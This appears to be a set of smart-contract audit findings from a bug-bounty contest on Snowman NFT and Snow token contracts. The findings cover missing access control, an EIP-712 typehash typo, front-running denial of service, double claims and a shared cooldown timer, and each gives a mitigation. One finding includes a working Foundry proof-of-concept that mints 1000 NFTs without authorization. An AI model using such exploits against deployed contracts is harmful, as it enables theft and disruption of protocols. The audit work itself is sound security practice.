The Snowman contract implements a mintSnowman function intended to be called exclusively by the SnowmanAirdrop contract after verifying Merkle proofs, EIP-712 signatures, and Snow token staking. However, the function lacks any access control.
Any address on the network can call mintSnowman() directly and mint an arbitrary number of NFTs to any recipient, completely bypassing the staking requirement and the Merkle-based distribution logic.
The function is publicly accessible and requires no special permissions, tokens, or expensive prerequisites. Any user can trigger the minting at any time.
An attacker can mint the entire NFT supply for free, destroying the rarity and economic value of the collection and rendering the protocol's staking and airdrop mechanism obsolete.
The following test demonstrates that an attacker can mint 100 NFTs for free by calling mintSnowman directly, without providing any Snow tokens or Merkle proofs:
Add an onlyAirdrop modifier to restrict mintSnowman to the authorized airdrop contract. The airdrop address should be set in the constructor or via a protected setter.
The SnowmanAirdrop contract uses EIP-712 typed data signatures to verify that a claim is authorized by the recipient. This depends on a constant MESSAGE_TYPEHASH that must exactly match the string used by the frontend when generating signatures.
There is a typo in the declaration: address is misspelled as addres (missing the final "s"). Because off-chain libraries (Ethers.js, Viem) always use the correct spelling, the cryptographic digest calculated by the contract will never match the digest signed by the user.
The typo is hardcoded in a private constant. EIP-712 requires an exact character-for-character match, so every legitimate signature will fail verification.
The signature verification mechanism is completely broken. No user can successfully use the delegated claim functionality, which is a core feature of the airdrop protocol.
The following test compares the contract's incorrect typehash with the standard-compliant typehash that a frontend would use. They do not match, leading to permanent signature validation failure:
Correct the spelling of address in the MESSAGE_TYPEHASH constant.
The SnowmanAirdrop contract allows users to claim NFTs by providing a cryptographic signature. The current implementation of getMessageHash() does not take the claim amount as a parameter — instead, it dynamically queries the user's current token balance using i_snow.balanceOf(receiver).
This creates a front-running opportunity. An attacker monitors the mempool, detects a pending claimSnowman transaction, and transfers a minimal amount of Snow tokens (1 wei) to the receiver before it is mined. This changes the receiver's balance, which changes the hash, which invalidates the signature.
The attack is cheap (1 wei of Snow + gas) and easily automated by monitoring the mempool. Any purchase or transfer can trigger it.
A malicious actor can permanently prevent any user from claiming their NFTs via the signature mechanism, resulting in a permanent Denial-of-Service.
Alice signs a message for her balance of 1 Snow token. Bob detects her transaction and sends her 1 additional token. When Alice's claim executes, the contract reads a balance of 2 tokens, which does not match her signature for 1 token, causing a revert:
Include the intended claim amount as an explicit parameter in both getMessageHash and claimSnowman. This ensures the signature is verified against a fixed value that cannot be manipulated by third-party balance changes.
The SnowmanAirdrop contract tracks whether a user has claimed using s_hasClaimedSnowman. The claimSnowman function correctly sets this mapping to true after a successful claim. However, it never checks this value at the beginning of the function.
This means an eligible user can claim an NFT, acquire more Snow tokens (via earnSnow or buySnow), and then call claimSnowman again. As long as they have a valid Merkle proof for their new balance, the contract will process the second claim.
Requires the user to acquire additional tokens between claims, which is easily achievable through the protocol's own earnSnow mechanism.
Allows draining the NFT collection and breaks the "one claim per user" distribution model of the airdrop.
Alice claims her first NFT, waits a week to earn more Snow tokens, and then successfully claims a second NFT because the contract never checks if she has already participated:
Add a check at the start of claimSnowman to revert if the user has already claimed.
The Snow contract allows users to earn a free token once per week via earnSnow. This cooldown is managed by a global variable s_earnTimer.
The buySnow function resets this global timer to block.timestamp every time any user makes a purchase. Because s_earnTimer is shared across all users, a single purchase blocks the earnSnow function for everyone for another 7 days.
Token purchases are expected to happen frequently in a live protocol. A malicious actor could also intentionally buy a single token every 6 days (at minimal cost) to permanently suppress the free claim feature.
The "free weekly claim" feature, a core incentive for user adoption, becomes completely non-functional. This represents a total Denial-of-Service for a primary protocol function.
User B makes a purchase, which resets the global timer. User A's attempt to earn free tokens now reverts because the contract thinks the cooldown period just started:
Remove the global timer reset from buySnow and implement a per-user cooldown tracking system using a mapping.
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.